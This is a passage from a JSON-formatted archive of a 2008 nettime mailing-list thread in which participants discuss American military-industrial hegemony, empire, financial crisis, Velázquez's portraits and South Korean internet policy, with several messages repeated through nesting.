http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00088",
                        "date": "Wed, 23 Jul 2008 12:02:51 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "ba37023c75d4840ab38ded112f760a00 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00088.html",
                        "content-type": "text/plai",
                        "author_name": "Michael H Goldhaber",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "Ed Phillips <ed {AT} cronos.net>",
                                        "content": "> complex interweaving produces very different political and cultural \n> outlooks as part of one internally differentiated system. Yet I would \n> agree with Keith that this does not make \"totality,\" not even the \n> totality of something called kapitalism. The imperial interweave is a \n> system of power, it's dominant, it imposes its militarist will in \n> staggeringly violent and absurd ways, yet there is so much else to life \n> under the sun and the stars and the electric streetlamps. No less \n> important than the act of looking into the eye of power is the act of \n> looking away.\n\n\nYes. Exactly, Brian. One system, human made, human struggled over which is\nsomething that I think that our squatting here on nettime is about. \n\nAnother way to look at power is at its insecurity, it's vulnerability. Not\nonly is it not total in a deterministic sense, our sense of determinism\nbeing the index of a collective passivity, it is profoundly insecure and in\nneed of constant reassurance.\n\nEmpire has always been so. When I first saw Velasquez's portrait of that\ngrandly dominant despot, Felipe el Segundo, I could see as clearly as I see\nthe profound weakness and insecurity and even pathos of our \"fearless\"\npygmy leaders, felipe's profound insecurity before the gaze and the brush\nof the artist, of the other. \n\nThe insecurity before the gaze of those who wield the means of the\nproduction of representation or vorstellung. The despot feels that profound\ninsecurity because he has a first person seated view of the hallucinations,\nof the hallucinated reinvestment in old dead fig leafs, old dead emblems\nand magical insignia of a power that never was. The very form that power\ntakes is of a reinvestment in what one hopes must have been a reassuring\nhallucination at some previous time by some prior regime of power.\n\nPower, and here I mean very particular people acting as agents of power,\nhallucinates and reinvests in outmoded hallucinations first and then\nsamples and tests and adapts as best it can it's very clumsy and unwieldy\nhallucinations and representations.\n\nProsthetic power is even more insecure as it adapts itself also to the\ntechnical apparatus and machine ontology that is coming into being even as\nthe multitude is coming into being.\n\n\n\nOn Fri, Jul 25, 2008 at 01:54:57AM +0200, Brian Holmes wrote:\n> \n> Ed Phillips asked:\n> \n> >  why the sales job for a bizarre complex\n> > that is directed at more and more excessive, spectacular, even arbitrary\n> > displays of power that will never be used is so successful. Here the image\n> > comes to mind of jet fighters that rotate on a dime. Something so insanely\n> > exhorbitant in expenditure, flaming, flaring off, exploding in test after\n> > test.\n> \n> I was wondering about exactly this today, as I read in the New York \n> Times about four air force generals seeking $16 million in public monies \n> to build two-room designer-appointed \"comfort capsules\" for their \n> personal transport through the imperial skies. But then my curiosity \n> only mounted higher as my eye moved further down the page, where I read \n> about the Bush administration plans to use $230 million of \n> \"counter-terrorism\" money to upgrade Pakistan's F-16s. \"The officials... \n> said the timing was driven by deadlines of the American contractor, \n> Lockheed Martin.\" No further comment about those deadlines then ensued...\n> \n> > Brian keeps making some very fundamental points that I do not see mentioned\n> > enough, and he is thinking \"with\" them:\n> > \n> > 1. Is to think in terms of geocapital and the nation states and Empire(s)\n> >    as a complex interweaving, a totality.\n> \n> Thanks for noticing that, Ed. One of the real interesting things that \n> became concrete for me in South Korea (though I already understood it \n> theoretically) was the way that Fordist and military-industrial \n> development has been driven, in both countries, by the deliberate \n> maintenance of red-alert status at the 38th parallel. Far-off sites of \n> conflict that Americans only see in the movies serve as pretexts for the \n> development of the most sophisticated weapons imaginable (never forget \n> that the US military budget is now as big as the rest of the world's \n> combined). Meanwhile on the soil of that far-off site something \n> different has been happening: build-up of heavy industry under \n> dictatorial discipline until from 1960 to 1988, then rapid \n> neoliberalization peaking with the 1997 Asian crisis to throw the \n> country open to outside capital looking to feed on educated labor. The \n> complex interweaving produces very different political and cultural \n> outlooks as part of one internally differentiated system. Yet I would \n> agree with Keith that this does not make \"totality,\" not even the \n> totality of something called kapitalism. The imperial interweave is a \n> system of power, it's dominant, it imposes its militarist will in \n> staggeringly violent and absurd ways, yet there is so much else to life \n> under the sun and the stars and the electric streetlamps. No less \n> important than the act of looking into the eye of power is the act of \n> looking away.\n> \n> best, BH\n> \n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00097",
                                        "date": "Fri, 25 Jul 2008 11:28:43 -0700",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "20080725182843.GA27785 {AT} cvs.realtimematrix.net",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00097.html",
                                        "content-type": "text/plai",
                                        "author_name": "Ed Phillips",
                                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                                    },
                                    {
                                        "from": "Ed Phillips <ed {AT} cronos.net>",
                                        "content": "> Empire has always been so. When I first saw Velasquez's portrait of that\n> grandly dominant despot, Felipe el Segundo, I could see as clearly as I see\n> the profound weakness and insecurity and even pathos of our \"fearless\"\n> pygmy leaders, felipe's profound insecurity before the gaze and the brush\n> of the artist, of the other. \n\nIt's funny how as I typed that up, I replaced, in a kind of slip, Felipe el\ncuarto with el segundo, his dead ancestor, in comparison to which el cuarto\ncame off as some kind of dandyish pygmy, even as Bush II is to his father.\nThe state as Empire grows in power as it decays in form and representation.\nVelazquez's realism is a kind of leading, testing edge of a regime deeply\ncommitted to hallucination and counter-reformation. It needs the labyrinth\nof a tentative, delayed realism to keep alive the obscenity of its\nhallucination.  Velazquez plays with and represents that labyrinth of\nrepresentation in which the ghostly sovereign appears in a glass darkly.\n\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00098",
                                        "date": "Fri, 25 Jul 2008 13:38:51 -0700",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "20080725203850.GA19886 {AT} cvs.realtimematrix.net",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00098.html",
                                        "content-type": "text/plai",
                                        "author_name": "Ed Phillips",
                                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                                    }
                                ],
                                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                                "content": "\nEd Phillips asked:\n\n>  why the sales job for a bizarre complex\n> that is directed at more and more excessive, spectacular, even arbitrary\n> displays of power that will never be used is so successful. Here the image\n> comes to mind of jet fighters that rotate on a dime. Something so insanely\n> exhorbitant in expenditure, flaming, flaring off, exploding in test after\n> test.\n\nI was wondering about exactly this today, as I read in the New York \nTimes about four air force generals seeking $16 million in public monies \nto build two-room designer-appointed \"comfort capsules\" for their \npersonal transport through the imperial skies. But then my curiosity \nonly mounted higher as my eye moved further down the page, where I read \nabout the Bush administration plans to use $230 million of \n\"counter-terrorism\" money to upgrade Pakistan's F-16s. \"The officials... \nsaid the timing was driven by deadlines of the American contractor, \nLockheed Martin.\" No further comment about those deadlines then ensued...\n\n> Brian keeps making some very fundamental points that I do not see mentioned\n> enough, and he is thinking \"with\" them:\n> \n> 1. Is to think in terms of geocapital and the nation states and Empire(s)\n>    as a complex interweaving, a totality.\n\nThanks for noticing that, Ed. One of the real interesting things that \nbecame concrete for me in South Korea (though I already understood it \ntheoretically) was the way that Fordist and military-industrial \ndevelopment has been driven, in both countries, by the deliberate \nmaintenance of red-alert status at the 38th parallel. Far-off sites of \nconflict that Americans only see in the movies serve as pretexts for the \ndevelopment of the most sophisticated weapons imaginable (never forget \nthat the US military budget is now as big as the rest of the world's \ncombined). Meanwhile on the soil of that far-off site something \ndifferent has been happening: build-up of heavy industry under \ndictatorial discipline until from 1960 to 1988, then rapid \nneoliberalization peaking with the 1997 Asian crisis to throw the \ncountry open to outside capital looking to feed on educated labor. The \ncomplex interweaving produces very different political and cultural \noutlooks as part of one internally differentiated system. Yet I would \nagree with Keith that this does not make \"totality,\" not even the \ntotality of something called kapitalism. The imperial interweave is a \nsystem of power, it's dominant, it imposes its militarist will in \nstaggeringly violent and absurd ways, yet there is so much else to life \nunder the sun and the stars and the electric streetlamps. No less \nimportant than the act of looking into the eye of power is the act of \nlooking away.\n\nbest, BH\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00094",
                                "date": "Fri, 25 Jul 2008 01:54:57 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "48891651.60004 {AT} wanadoo.fr",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00094.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                            },
                            {
                                "from": "Ed Phillips <ed {AT} cronos.net>",
                                "content": "> complex interweaving produces very different political and cultural \n> outlooks as part of one internally differentiated system. Yet I would \n> agree with Keith that this does not make \"totality,\" not even the \n> totality of something called kapitalism. The imperial interweave is a \n> system of power, it's dominant, it imposes its militarist will in \n> staggeringly violent and absurd ways, yet there is so much else to life \n> under the sun and the stars and the electric streetlamps. No less \n> important than the act of looking into the eye of power is the act of \n> looking away.\n\n\nYes. Exactly, Brian. One system, human made, human struggled over which is\nsomething that I think that our squatting here on nettime is about. \n\nAnother way to look at power is at its insecurity, it's vulnerability. Not\nonly is it not total in a deterministic sense, our sense of determinism\nbeing the index of a collective passivity, it is profoundly insecure and in\nneed of constant reassurance.\n\nEmpire has always been so. When I first saw Velasquez's portrait of that\ngrandly dominant despot, Felipe el Segundo, I could see as clearly as I see\nthe profound weakness and insecurity and even pathos of our \"fearless\"\npygmy leaders, felipe's profound insecurity before the gaze and the brush\nof the artist, of the other. \n\nThe insecurity before the gaze of those who wield the means of the\nproduction of representation or vorstellung. The despot feels that profound\ninsecurity because he has a first person seated view of the hallucinations,\nof the hallucinated reinvestment in old dead fig leafs, old dead emblems\nand magical insignia of a power that never was. The very form that power\ntakes is of a reinvestment in what one hopes must have been a reassuring\nhallucination at some previous time by some prior regime of power.\n\nPower, and here I mean very particular people acting as agents of power,\nhallucinates and reinvests in outmoded hallucinations first and then\nsamples and tests and adapts as best it can it's very clumsy and unwieldy\nhallucinations and representations.\n\nProsthetic power is even more insecure as it adapts itself also to the\ntechnical apparatus and machine ontology that is coming into being even as\nthe multitude is coming into being.\n\n\n\nOn Fri, Jul 25, 2008 at 01:54:57AM +0200, Brian Holmes wrote:\n> \n> Ed Phillips asked:\n> \n> >  why the sales job for a bizarre complex\n> > that is directed at more and more excessive, spectacular, even arbitrary\n> > displays of power that will never be used is so successful. Here the image\n> > comes to mind of jet fighters that rotate on a dime. Something so insanely\n> > exhorbitant in expenditure, flaming, flaring off, exploding in test after\n> > test.\n> \n> I was wondering about exactly this today, as I read in the New York \n> Times about four air force generals seeking $16 million in public monies \n> to build two-room designer-appointed \"comfort capsules\" for their \n> personal transport through the imperial skies. But then my curiosity \n> only mounted higher as my eye moved further down the page, where I read \n> about the Bush administration plans to use $230 million of \n> \"counter-terrorism\" money to upgrade Pakistan's F-16s. \"The officials... \n> said the timing was driven by deadlines of the American contractor, \n> Lockheed Martin.\" No further comment about those deadlines then ensued...\n> \n> > Brian keeps making some very fundamental points that I do not see mentioned\n> > enough, and he is thinking \"with\" them:\n> > \n> > 1. Is to think in terms of geocapital and the nation states and Empire(s)\n> >    as a complex interweaving, a totality.\n> \n> Thanks for noticing that, Ed. One of the real interesting things that \n> became concrete for me in South Korea (though I already understood it \n> theoretically) was the way that Fordist and military-industrial \n> development has been driven, in both countries, by the deliberate \n> maintenance of red-alert status at the 38th parallel. Far-off sites of \n> conflict that Americans only see in the movies serve as pretexts for the \n> development of the most sophisticated weapons imaginable (never forget \n> that the US military budget is now as big as the rest of the world's \n> combined). Meanwhile on the soil of that far-off site something \n> different has been happening: build-up of heavy industry under \n> dictatorial discipline until from 1960 to 1988, then rapid \n> neoliberalization peaking with the 1997 Asian crisis to throw the \n> country open to outside capital looking to feed on educated labor. The \n> complex interweaving produces very different political and cultural \n> outlooks as part of one internally differentiated system. Yet I would \n> agree with Keith that this does not make \"totality,\" not even the \n> totality of something called kapitalism. The imperial interweave is a \n> system of power, it's dominant, it imposes its militarist will in \n> staggeringly violent and absurd ways, yet there is so much else to life \n> under the sun and the stars and the electric streetlamps. No less \n> important than the act of looking into the eye of power is the act of \n> looking away.\n> \n> best, BH\n> \n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00097",
                                "date": "Fri, 25 Jul 2008 11:28:43 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20080725182843.GA27785 {AT} cvs.realtimematrix.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00097.html",
                                "content-type": "text/plai",
                                "author_name": "Ed Phillips",
                                "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                            },
                            {
                                "from": "Ed Phillips <ed {AT} cronos.net>",
                                "content": "> Empire has always been so. When I first saw Velasquez's portrait of that\n> grandly dominant despot, Felipe el Segundo, I could see as clearly as I see\n> the profound weakness and insecurity and even pathos of our \"fearless\"\n> pygmy leaders, felipe's profound insecurity before the gaze and the brush\n> of the artist, of the other. \n\nIt's funny how as I typed that up, I replaced, in a kind of slip, Felipe el\ncuarto with el segundo, his dead ancestor, in comparison to which el cuarto\ncame off as some kind of dandyish pygmy, even as Bush II is to his father.\nThe state as Empire grows in power as it decays in form and representation.\nVelazquez's realism is a kind of leading, testing edge of a regime deeply\ncommitted to hallucination and counter-reformation. It needs the labyrinth\nof a tentative, delayed realism to keep alive the obscenity of its\nhallucination.  Velazquez plays with and represents that labyrinth of\nrepresentation in which the ghostly sovereign appears in a glass darkly.\n\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00098",
                                "date": "Fri, 25 Jul 2008 13:38:51 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20080725203850.GA19886 {AT} cvs.realtimematrix.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00098.html",
                                "content-type": "text/plai",
                                "author_name": "Ed Phillips",
                                "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                            }
                        ],
                        "from": "Ed Phillips <ed {AT} cronos.net>",
                        "content": "> Of course there is  military-industrial complex which tries to perpetuate\n> itself, but it  is successful only because others at times believe its\n> clumsy arguments.\n\n\nThere is indeed, Michael. Thanks for dialog-ing here about this about\nthis matter of...\n\nIf we are to seize the means of production of truth itself in\ncyberneticscapes, it actually behooves, I think to ask not only what clumsy\narguments are believed, but rather why the sales job for a bizarre complex\nthat is directed at more and more excessive, spectacular, even arbitrary\ndisplays of power that will never be used is so successful. Here the image\ncomes to mind of jet fighters that rotate on a dime. Something so insanely\nexhorbitant in expenditure, flaming, flaring off, exploding in test after\ntest.\n\nI ask myself what it serves to reassure in a body politic that is\nprofoundly insecure.\n\nWe promise \"security\", and a nice comfortable home, and an aggregate 10%\nreturn on your capital.\n\nHere our comrade Sloterdijk-Diogenes is really helpful: Quaro Homines\n\nAs some kind of internet-cyberscape squatters I take us to be looking for\nthe human agency in all this madness and circumstance. The question, the\ndiscussion now has a kind of squatter's right to lift up a lamp in the\nmidday to enquire into how our personal political economy has actually\nsiezed the means of the production of truth, the means by which a discourse\nlistens to itself, the way \"govermentality\" understands itself in a kind of\npidgin kynical nettime argot.\n\nTo keith hart, a kind of storimasta, that entering into dialogue is going\nto look different than it is to you or Brian or I.\n\nBrian keeps making some very fundamental points that I do not see mentioned\nenough, and he is thinking \"with\" them:\n\n1. Is to think in terms of geocapital and the nation states and Empire(s)\n   as a complex interweaving, a totality.\n\nHere the agents of capital and the agents of nation states act in the mode\nof \"on behalf of\", in a kind of Empire that even as it exploits every new\nmarket, to excesses of gain and destructive creation, has to understand\nitself, to justify itself. \n\nToo much discourse is too focused on a \"naive\" nation state, too much the\nkid blown away by the display, by the spycraft, the operations, by the\nshow, when the apologists openly discuss and attempt to liberalize, to\nunderstand the very global order that they cannot quite map themselves even\nas they hold the levers of power.\n\nSome of these agents view themselves as charged with maintaining regular\nprices and steady growth, to ensuring that world markets and economies are\nfollowing along on their business cycling just fine act as they say. They\nfail spectacularly at times, and the prices reset.\n\nWe are in a completely unprecedented world that has seen and is seeing huge\nshifts. Many of the institutions of the previous era of geoeconomics are\nregistering a profound shift. The dramatic rise of the central banks with\ntheir portfolio rounding little offshoot sovereign wealth funds. The\npresence of China felt everywhere.\n\nThe crisis in financialization is a child of surplus and a puncturing of\ncultural inflation (of a set of easy-debt inspired valuations) at the same\ntime.\n\nBrian asked Keith about the \"looters\". My minds-eye flashed with a\nheadline: Dutch Pensioneers Accused of Looting.\n\nDutch pension fund (wrlds third largest) Stichting Pensioenfonds ABP, in a\npress release in which they mentioned their intent to move some of the 40%\nof their portfolio that was invested in debt instruments (still bow tie\npension fund respectable banking investment) revealed that the reason the\nonly lost 5% this last half year is that well they had 13% in those evil\ncommodities and I think 9% in hedge funds, the kids with the naked shorts\nin the global pool.\n\nIn the politics of global finance, the hedge funds are specialized,\npolitically incorrect exploiters of new markets in financialization.  There\nis something of a homologue to the excessive expenditure on the security\nstate in the fact that the hedge fund niche emerged from portfolio security\nand risk management. What begins as a a way to hedge up or secure\nsomething, gets up on a monkeys paw and takes revenge on its creators,\ncronos eats his own children. Structured investment vehicles, originally\nmandated to hedge bank portfolios bring them down. The very same\nbroker-dealers are shorted down by their own trading arms. \n\nThe agile security state gets bogged down in a quagmire of its own making\nin afghanistan-pakistan-iraq-iran. What begins as Rummy's lite force\nremoval of despotry becomes the greatest sign up and organization of\nfeudal-peasant jihadis against global security state capital and the place\nwhere the security state discovers its own powerlessness. The power is\neating itself in gruesome Goya fashion and here I cannot remove the image\nof Kronos slurping in the ripped carcass of one of his children from my\neyes.\n\nIn a game of endless deferral that is represented so perfectly by that\nstill most stable investment in big central bank treasuries, debt rises as\nthe perfect embodiment, even with its exessive self destroying aspects.\nWitness the gobbling up of treasuries by China and the petrodollar states\nin the last few months. Only a small percentage of their surplus goes to\ncommando capital investment, a small but no less important percentage.\n\nAnd China piles up its own debt to its very bios.\n\nThis is most likely no end point, but a way stage in which the prosthetic\nnet kritik is called short, as stunned as the tourists were and are who\nboth walked around the world trade center towers stunned by their sheer\nverticality and then even more stunned by their absence.\n\nThe amero-european housing bubble is a crisis in the ideology of \"Home\nBeautiful\" and comfortable estrangement as our old friend\nDiogenes-Sloterdijk might say. Stunning in rise and fall.\n\n\"You are blocking my Sun light\" says the kritik to the Emperor.....\n\nOn Wed, Jul 23, 2008 at 12:02:51PM -0700, Michael H Goldhaber wrote:\n\n> Brian,\n> \n> Rather than being naive, I think I was engaging in a kind of  \n> shorthand, leaving out intermediate reasons.  Of course there is  \n> military-industrial complex which tries to perpetuate itself, but it  \n> is successful only because others at times believe its clumsy  \n> arguments. Also, oil companies may indeed profit from invasions such  \n> as of Iraq, but mostly because the threat of war helps increase the  \n> price of oil, which would probably have gone up anyway. The threat of  \n> instability in Nigeria, say, without any US intervention, increases  \n> the price as well. So the military costs incurred by invading Iraq,  \n> say, are unnecessary on that score. Even if the oil interests believed  \n> otherwise, they would not have been able to invade Iraq if the public  \n> were not convinced that reasons entirely unconnected with oil were at  \n> stake. As for the argument that America's place in  the world economy  \n> depends on our  having bases and a round-the -world military presence,  \n> I think the examples I gave of the value to us of India and China show  \n> that view is itself naive. Finally, countries like German and the  \n> Netherlands demonstrate that having an imperial presence is quite  \n> unnecessary for economic success.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00092",
                        "date": "Thu, 24 Jul 2008 10:50:43 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20080724175043.GA9309 {AT} cvs.realtimematrix.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00092.html",
                        "content-type": "text/plai",
                        "author_name": "Ed Phillips",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "from": "\"Michael Gurstein\" <gurstein {AT} gmail.com>",
                        "content": "I happened to be in Seoul at what was I guess, roughly the same time as\nBrian and had some parallel thoughts on developments there that might be of\ninterest... (I was attending, as a Civil Society representative, an OECD\nMinisterial meeting on the Future of the Internet Economy...\n\n(This is taken from a somewhat longer trip report...\n\n \n2. Canada and the OECD Ministerial\nCanada hosted the first event in this series in Ottawa in 1998 and much was\nmade at various points particularly in the beginning about the Seoul event\nbeing somehow linked to the Ottawa event. Unfortunately for Canada the\ncomparison between Canada in the Internet economy in 1998 and in 2008 is\nsomething of an embarrassment. Where in 1998 Canada was an active innovator\nin a wide range of areas concerning the Internet Economy and (not\nincidentally) Society, in 2008 it was clear that Canada had either been more\nor less stagnant in the interim period (and thus slipping behind its\ninternational competitors in whatever tables concerning the Internet Economy\none might wish to focus on). \n\nWhere other countries notably in this instance Korea but also the EU had\nchosen to provide significant support for infrastructure development and\nR&D, Canada had (currently governed by Neo-Liberal ideologues) pretty much\nwithdrawn from any public involvement in these areas. And where Canada in\n1998 had had a very progressive/inclusive national policy approach to\nextending participation (and the related benefits of the Internet--Economy\nand Society) to all, this had by 2008 disappeared from the public agenda.\n\nThe benefits of a public policy approach to broad Internet inclusion are\nmanifestly obvious in Korea where some 90 per cent of the populations is\nInternet connected almost all, with very fast broadband connectivity. This\nhas proven to be a tremendous spur to various aspects of the Internet\neconomy including the ever-receding grail of innovation but also to overall\nappropriation of the Internet into all aspects of both commercial life and\ndaily life. Canada by losing sight of the social goals of the extension of\nInternet access and use has seemingly as a consequence allowed itself to\ndrift backwards in those areas.\n\nMichael Gurstein\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00107",
                        "date": "Sun, 27 Jul 2008 08:04:56 -0700",
                        "to": "<nettime-l {AT} kein.org>",
                        "message-id": "f364080ee270b178e9aa218db1aea0f1 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00107.html",
                        "content-type": "text/plai",
                        "author_name": "Michael Gurstein",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "Concerning the concept of artistic rupture, Eric Kluitenberg wrote:\n\n> As I have come to understand this... rupture is part of process of\n> negation, a negative dialectics as some have called it (Adorno / Lyotard),\n> in the case of the visual arts a 'negative dialectics of the image'. Now\n> the point of negation is not the replacement of one mode of the visual by\n> another, alternative one. Much rather the object of negation is to 'break'\n> the image, to show its disfunctionality, to expose that every image hides\n> more than it reveals.\n...\n> The real point of the negation and this negative dialectics as it was\n> emblematically embodied by the bold quest of the avant-gardes, was not to\n> find a somehow \"better\" alternative for that which was negated\n> (perspective, unity of space, unity of time, surface, support, material,\n> medium, etc etc...) but much rather to reveal the infinity of\n> possibilities, the infinite space of alternatives.\n> \n> Now what has changed and where I would follow you in most of your analysis\n> is that the context in which art, criticism, and critical cultural\n> production operate, has diversified to the point where multiplicity has\n> replaced revolt.\n\nThis way of thinking, developed from Adorno to Lyotard among many \nothers, is one of the more powerful and compelling stories that can be \ntold about the vanguard \"overcoming of art,\" and my thanks to Eric for \nbringing in this precise theoretical level of conversation. When I said, \n\"let's take it as axiomatic that all that has changed,\" I was indeed \nthinking of the end of any transcendence of artistic representation, and \ntherefore of any reason or art to go on referring to art alone, to its \nsequential evolutions and/or ruptures. Of course, the idea that there is \none single story of the avant-gardes in the 20th century is itself \ntotally dubious, but I think that many of the stories which have been \nelaborated lead to the point art serves as some sort of ever-changing \nmediation between an active multiplicity and an existing context of \nsocial reality. How that kind of mediation works is, I think, the \nsubject for a micropolitical aesthetics - but I'd like to touch on that \nin a later reply to Snafu's excellent post on productivism. As Eric says \nhee,\n\n > How this then works for activists, artists, critics in practice\n> is the next step.\n\nConcerning the \"existing context of social reality\" which forms the \nbackdrop to any next step, that is definitely where geopolitical \nthinking becomes an issue. How to name the context? Is there any \noverarching structure? If so, how to avoid supporting it with one's own \nconceptual activity?\n\n> The second comment relates to the use of the concept of Empire. I wonder\n> if the concept of Empire is really productive here to address your\n> question of finding \"a different way to live, a fresh chance at\n> coexistence\", which I read as a call for pluralism and multiplicity.\n> Empire, however, suggest the rise of a hegemonic and more or less unitary\n> form of social and economic/political organisation (along with its\n> military extensions). Of course in Negri and Hardt's vision there are many\n> internal struggles and conflicting actors within the body of Empire, but\n> still they seem guided by a similar organisational logic and set of\n> (hegemonic) objectives.\n\nWell, what I am talking about is first of all best approached as \nclassical imperialism, not Empire in Hardt and Negri's sense of a \ncenterless, networked imperium -- because what we have seen in the past \nfive years, with the Iraq war, is clearly an attempt to project a \nspecifically American sovereignty onto a resource-rich country. Beyond \nthe war, I think the case for American hegemony is very strong and tends \nto be understated, if only because people on the left would \nunderstandably like to see other alternatives. However, lucidity is also \nimportant. The acts of the Bush administration have forced me, as a \nresponsible citizen, to look at the consequences of US military bases \nall over the world, military domination of space, financial domination \nthrough the continuing status of the dollar as international reserve \ncurrency, techoscientific domination through the fruits of military R&D \nspending, cultural domination through global English and the benchmark \nstatus of American universities, etc. etc. All of this is, to be sure, \nin decline, and that is probably why it has gotten so ugly in recent \nyears. But decline can go on for a long time... and in the meantime, \nunfortunately, this whole construct of military-industrial imperialism \ncontinues to furnish the basic definitions of what is good in life, \nincluding the canonical measures of economic growth and prosperity \ninherited from the Fordist/Cold War era, which still hold sway among all \nthe official bodies and orient, for the worst, the development of the EU \nin particular (not to mention China). The really obscene victory of US \nhegemony is making everyone desire and love this bloated form of \noverdevelopment.\n\nNow, I definitely do not have a one-dimensional view of all this, \nbecause the geopoliical study that I have carried on within the \nContinental Drift project definitely suggests that regional \nbloc-formation and the increasing sovereignty of countries that already \nhave a continental scale (China, India, Russia) is the wave of the \nfuture. I see two likely scenarios over the next 20 years. Either \ncontinued American decline will allow other major actors to literally \n\"buy in\" to the American hegemony, eventually achieving a true \nintra-imperial distribution of power and consequent tempering of the US \ncapacity to go lashing out with its military when the other major \nplayers do not agree -- and then we will really reach the state that \nHardt and Negri described in Empire. Or, the existence of any worldwide \nhegemony will gradually fade, and much greater power will accrue to the \ncontinental ensembles, giving rise to some kind of truly multi-polar \nworld. In the best of cases this could lead to the \"fractalization\" you \nsuggest, with interesting roles for multiple kinds of plurality in the \nsystem (not that there isn't plurality already, but this would be \nquantitatively and qualitatively different, more heterogeneous). Or, in \nthe worst of cases, we could easily get rivalries between blocs, \nresource wars, etc.\n\nThe obvious thing that keeps these scenarios at a distance is the \ngigantic disproportion between the US military and all the rest. But it \nmay be that popular resistance of all kinds will finally prove that to \nbe an \"ineffective disproportion\" -- finally answering Madeleine \nAlbright's famous question by showing that having such a great army \nreally is useless, and thus opening up the possibility, at least, of \nmore positive scenarios. This is the geopolitical reason why I am \nantimilitarist. The other reason is unreflected and immediate: I don' \nthink men with guns is the way to solve any problem.\n\n> Much rather I would opt for an approach focused on a simultaneous\n> localisation and multiplication of alternatives to such hegemonic forces\n> and leave the concept of Empire behind.\n\nIt can be a very good philosophical approach and also the right one, I \nthink, to base alternative strategies on (including aesthetic \nstrategies). However the trick is keeping reality enough in mind that \nyou can actually hope to change it, i.e. leave the military-industrial \npimp behind and find some better lover.\n\n> ---------\n> \n> Finally, on the reduction of American bases and how this plays out locally,\n> in the case of your report in S-Korea, highly fascinating!\n> \n> In such a localised address to a shift in 'hegemonic domination', I see\n> the most productive approach to a new form of social and cultural\n> critique. It will be very difficult to build that critique convincingly,\n> given the lingual, cultural, material, economic and social rifts that\n> separate the various actors that would need to be included in this, and\n> also given the reliance on a global pigeon-English that many of us are\n> struggling with..., but still this could be truly productive.\n\nYes, to the extent that we have a world society, we do need a cultural \ncritique that can work through global divides, with all the quite \nfascinating and, I think, rewarding difficulties that you mention. In my \nopinion, this kind of dialogical 